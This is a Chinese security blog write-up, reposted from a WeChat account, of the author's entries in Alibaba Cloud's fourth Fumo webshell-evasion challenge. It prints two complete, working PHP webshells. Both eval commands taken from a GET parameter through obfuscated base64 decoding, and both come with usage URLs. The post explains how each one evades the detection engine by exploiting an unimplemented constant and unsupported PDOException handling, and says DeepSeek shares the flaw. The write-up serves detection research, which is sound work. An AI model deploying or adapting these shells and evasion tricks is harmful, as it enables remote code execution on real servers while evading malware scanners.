文章总结: 文章复盘阿里云第四届伏魔挑战赛两例PHPWebshell绕过技巧:一利用虚拟引擎未定义常量OPENSSL_NO_PADDING默认返回1而真实值为3,使strtr解密失败骗过污点检测;二利用引擎未实现PDOException捕获,PDO连接失败仍返回true,短路逻辑错误赋值$key,实现base64+eval免杀。作者给出对比实验与查杀证明,指出同类引擎包括DeepSeek亦存在此缺陷,为后续样本分析提供检测绕过思路。 综合评分: 86 文章分类: 代码审计,漏洞分析,安全工具,WEB安全,CTF
阿里云第四届伏魔挑战赛wp
原创
XG小刚
XG小刚
2025年7月10日 13:32 北京
拍摄于:北京市-国贸
公众号:XG小刚
阿里云第四届伏魔挑战赛wp
不知不觉挑战赛已经结束五个多月了,今年的比赛真是太卷了,10个JSP重复6个,6个php重复4个
本次挑了两个重复但相对有趣的的php样本作为分享
PHP系统常量未定义
先看样本
<?php
if ($_GET['id']==1234) {
class M {
static function demo(){ return OPENSSL_NO_PADDING;}
}
}else{
class M {
static function demo(){ return new M();}
}
}
$obj = M::demo();
$key = (string)$obj;
function exeec($key){
$fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';
$fileurl = strtr($fileurl, $key, 'd');
$code = base64_decode($fileurl);
@eval($code);
}
exeec($key);
利用方式
/shell.php?id=1234&cmd=phpinfo();
样本主要是靠两部分去对抗伏魔引擎的
1、通过外部传参,来控制if分支,从而创建不同的静态函数demo()
当id赋值不正确时,默认返回的是M类,使用(string)$obj时产生类型转换错误,用于对抗动态沙箱检测。
2、通过字符串替换函数strtr(),来获取真实的base64字符串,从而解码后eval执行,当$key的值不对时,自然就没法真正的解码。
这里使用的OPENSSL_NO_PADDING常量来绕过的,测试时发现污点检测引擎其实算是一个虚拟的环境,并没有完全实现真实环境中的一些函数、常量。
引擎对于没有实现的常量默认设置值为1,而真实环境OPENSSL_NO_PADDING的值为3,从而无法解码获取到真实的执行代码。
这里判断时候可能会觉得是污点传递被打断了,OPENSSL_NO_PADDING并没有传递过去
static function demo(){ return '3';}
可以将样本中返回结果直接定义为3,然后就被查杀了,如此可以证明就是OPENSSL_NO_PADDING常量未实现导致的了
最后核心绕过点也很明确
后续再分析样本时,发现deepseek也存在相同的问题
PDOException报错未支持
先看样本
<?php
if ($_GET['id']==1234) {
class M {static function demo(){ return '7';}}
}else{
class M {static function demo(){ return new M();}}
}
$obj = M::demo();
$key = (string)$obj;
function expensiveCheckA() {
try {
$pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
return true;
} catch (PDOException $e) {
return false;
}
}
function exeec(){
$key = '7';
if(expensiveCheckA()||$key='3')
$fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';
$fileurl = strtr($fileurl, $key, 'd');
$code = base64_decode($fileurl);
@eval($code);
}
exeec();
利用方式
/shell.php?id=1234&cmd=phpinfo();
该样本对抗沙箱的方式和第一个样本相同,base64解码方法也大致相同,只是$key的赋值方式发生了变化
$key = '7';
if(expensiveCheckA()||$key='3')
按照if条件短路逻辑,如果expensiveCheckA()为true,$key='3'是不会执行的
function expensiveCheckA() {
try {
$pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
return true;
} catch (PDOException $e) {
return false;
}
}
然后查看expensiveCheckA()函数,PDO链接是瞎写的,在真实环境中肯定不能执行啊,必然会报错进入catch代码,最后返回false
然而我上面也说了,它总归是个虚拟引擎,测试发现引擎对PDOException报错未支持,正常pdo错误后被PDOException捕获,进入
catch然后return false,而引擎PDOException报错后,继续执行返回的return true ,从而绕过检测
$pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
return false;
后面测试修改为false,就会被引擎查杀,证明确实没进入catch
最后核心绕过点也很明确
小结
最终排名还是第7,再接再厉吧
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:XG小刚 XG小刚《阿里云第四届伏魔挑战赛wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论